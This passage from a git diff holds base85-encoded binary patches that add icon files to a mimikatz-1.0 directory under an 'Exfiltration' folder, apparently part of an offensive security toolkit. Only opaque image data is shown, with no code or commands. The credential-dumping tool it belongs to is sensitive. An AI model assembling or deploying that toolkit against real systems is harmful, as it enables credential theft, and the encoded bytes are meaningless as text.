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 Dz?Oji literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_bird.ico new file mode 100644 index 0000000000000000000000000000000000000000..745963e406287671fb826bfa46ab7f27244906d6 GIT binary patch literal 15086 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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico b/Exfiltration/mimikatz-1.0/commun/icons/mimikatz_fruit.ico new file mode 100644 index 0000000000000000000000000000000000000000..7497143b370e05930ecbec4f39f719ebcb0df67a GIT binary patch literal 15086 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 